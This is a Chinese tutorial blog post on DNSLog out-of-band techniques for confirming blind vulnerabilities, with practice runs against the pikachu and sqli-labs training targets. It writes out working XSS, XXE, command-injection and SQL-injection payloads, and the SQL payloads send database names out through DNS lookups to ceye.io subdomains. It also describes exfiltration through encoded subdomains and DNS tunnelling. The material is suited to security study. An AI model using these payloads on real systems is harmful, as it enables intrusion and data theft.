免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
目录
1.Bu r p Co l l a b o r a t o r
一:DNSLog 技术:漏洞探测的「隐形侦察兵」
1.什么是 DNSLog?
DNSLog 是一种基于 DNS 协议的隐蔽通信技术,主要用于网络安全领域的漏洞探测与攻击验证。其核心原理是:通过监控 特定子域名 的 DNS 解析请求,间接判断目标系统是否存在漏洞(如 SQL 注入、SSRF、命令执行等)。
简单来说:攻击者生成一个唯一子域名(如 xxx.ceye.io
),诱导目标系统发起对该域名的 DNS 查询。若查询被记录,即可确认漏洞存在。
2.DNSLog 如何工作?
-
子域名生成
使用工具(如ceye.io
、Burp Collaborator
)生成一个唯一子域名(例如a1b2c3.ceye.io
)。 -
漏洞触发
在攻击载荷中嵌入该子域名(例如ping a1b2c3.ceye.io
)。若目标系统存在漏洞,会尝试解析该域名。 -
监控与验证
通过 DNSLog 平台实时查看是否有对应的 DNS 查询记录,若有则证明漏洞存在。
3.典型应用场景
-
盲注漏洞探测
-
SQL 盲注:通过
LOAD_FILE()
或UNC路径
触发 DNS 查询。 -
XSS 盲打:诱导用户浏览器加载恶意 DNS 资源。
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.a1b2c3.ceye.io\\test'));
-
-
SSRF/命令执行验证
-
利用漏洞让目标服务器发起 DNS 请求,绕过防火墙限制。
curl http://内部接口 && ping a1b2c3.ceye.io
-
-
数据外带(Exfiltration)
将敏感信息编码到子域名中(如data=abc.a1b2c3.ceye.io
),通过 DNS 请求外传数据。
4.DNSLog 的独特优势
特性 | 说明 |
---|---|
隐蔽性高 | DNS 协议通常不受防火墙拦截,适合穿透严格网络环境。 |
无回显漏洞克星 | 解决盲注类漏洞无法直接获取回显的问题。 |
跨协议兼容 | 支持 HTTP、SMTP、数据库等多种协议触发的 DNS 请求。 |
5.常用工具与平台
-
在线平台
-
ceye.io:免费 DNSLog 服务,提供 API 和可视化记录。
-
Burp Collaborator:集成于 Burp Suite,支持 DNS/HTTP 混合监控。
-
-
自建工具
-
DNSBin:开源自托管工具,适合内网渗透测试。
-
Interactsh:自动化交互式 DNSLog 框架,支持多协议。
-
6.局限性及绕过技巧
-
局限性:
-
依赖目标环境的 DNS 解析能力(如禁用外网 DNS 则失效)。
-
数据外带效率较低(受 DNS 协议长度限制)。
-
-
绕过技巧:
-
使用短域名或编码压缩数据(如 Base32)。
-
结合 DNS 隧道技术(如
iodine
)提升传输能力。
-
二:DNSLog平台
1.Bu r p Co l l a b o r a t o r
打开bp如下模块点击复制
然后就可以得到子域名
在cmd中输入ping qqq.yce0iu59oral2nnu2y7l6npyipogc60v.oastify.com 即可
2.d n s l o g . c n
打开为这样的页面,可以获取子域名 ,然后将子域名复制前面添加任意字符即可在cmd中ping
Ceye.io.vep:解决前面平台记录不持久保存,解析结果只能复制
3.c e y e . i o
ceye.io 特点:
1、固定子域名,不会变动
2、解析记录在账号下保存
3、提供在线 API
首先打开这个网页进行注册
查看token后续代码获取信息需要
Cmd中输入ping Qqq.ack4cg.ceye.io
这里还提供payload(SQL注入,xxe之类的)
在线AP可以查解析记录。
Python代码提取dns信息
import requests
import json
APItoken = '你的API TOKEN'
DNSurl = '你的子域名.ceye.io'
taskname = '要过滤的内容,查询关键字'
try:
APIurl = f'http://api.ceye.io/v1/records?token={APItoken}&type=dns&filter={taskname}'
r = requests.get(APIurl)
data = json.loads(r.text)
print(data)
result = data['data'][0]['name'].split('.')[0] # 假设 data['data'] 是列表
except Exception as e:
print(f'[*] Error: {str(e)}')
注意运行这个代码需要python2环境
运行成功
三:实战演练
1.XSS-DNSLog
打开pikachu靶场(使用ceye平台)
payload:<script src=http://ack4cg.ceye.io.dnslog.cn></script>
通过f12将框变大否则你无法输入
通过f12可以看到已经成功注入并且被执行.
DNSLog探测成功
存储型xss测试:
payload:<script src=http://ack4c.ceye.io.dnslog.cn></script>
注入成功
注意:DNSLog只是验证漏洞是否存在,而不是必要步骤
2.RCE-DNSLog
原本payload:127.0.0.1 & ipconfig
构建有DNSLog的payload:ceye.io.dnslog.cn
说明服务器可以访问外网,存在漏洞
3.XXE-DNSLog
原payload:
读取本地文件
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe
SYSTEM "file:///E://in.txt">]><login>&xxe;</login>
带DNSLog的payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://aqlw.ceye.io.dnslog.cn">%remote;]>
说明服务器存在解析外部实体的漏洞
4.SSRF-DNSLog
请求成功说明这个服务器存在ssrf漏洞(也就是这个服务器可以访问外网)
5.SQL注入-DNSLog
首先你需要先明白两个函数
load_file函数(读文件)
语句 | 功能 | 适用系统 | 执行条件 | 执行结果 |
---|---|---|---|---|
select load_file('C:/Windows/system.ini'); | 读取文件内容 | Windows | 文件在数据库本机、有访问权限、文件大小小于 max_allowed_packet | 满足条件返回文件内容,否则返回 NULL |
select load_file('/etc/hosts'); | 读取文件内容 | Linux | 文件在数据库本机、有访问权限、文件大小小于 max_allowed_packet | 满足条件返回文件内容,否则返回 NULL |
secure_file_priv参数(写文件)
值 | 类型 |
---|---|
空字符串 secure-file-priv="" secure-file-priv= | 没有任何限制(不安全) |
具体文件夹 | 只能在指定的文件夹导入导出 |
不设置这个参数或 secure-file-priv=NULL | 不允许导入导出 |
首先打开sql-labs靶场第五关,因为第五关是无回显的关卡,正好符合使用DNSLog
可以看到当我们输入 ‘ --+ 正确闭合后 输出如上信息,无回显信息所以我们需要通过DNSLog来获取回显信息
初步构建payload:select load_file('aqlwnh.ack4cg.ceye.io/aqlw');
如果你学过SQL注入就完全可以看懂上方代码,如果你看不懂建议你先去学习SQL注入。上方payload中是由\\转义而来,最后加/aqlw也是固定格式
可以看到这种方法完全可以,所以我们构建实战用的payload用于将sql-labs第五关无回显的问题通过dnslog回显。
最终Payload:http://localhost/sqli-labs/Less-5/?id=1' and if((select
load_file(concat('',database(),'.aqlwnzh.ack4cg.ceye.io/aqlw'))),1,0) --+
还是那句话,如果你看不懂,去学习SQL注入,本文不解释注入语句含义。
当我们注入后观察DNSLog 发现数据库名已经被我们拿到了(security)
然后我们在构建payload拿库名
Payload:
http://localhost/sqli-labs/Less-5/?id=1' and if((select
load_file(concat('',(select schema_name from
information_schema.schemata limit 1,1),'.aqlwnzh.ack4cg.ceye.io/aqlw'))),1,0) --+
成功拿到库名
总结
DNSLog用在无回显信息中,前面四个案例是在验证是否存在漏洞而最后一个则是通过DNSLog拿到库名进而最后拿到表名拿到账户密码。
(需要源代码联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)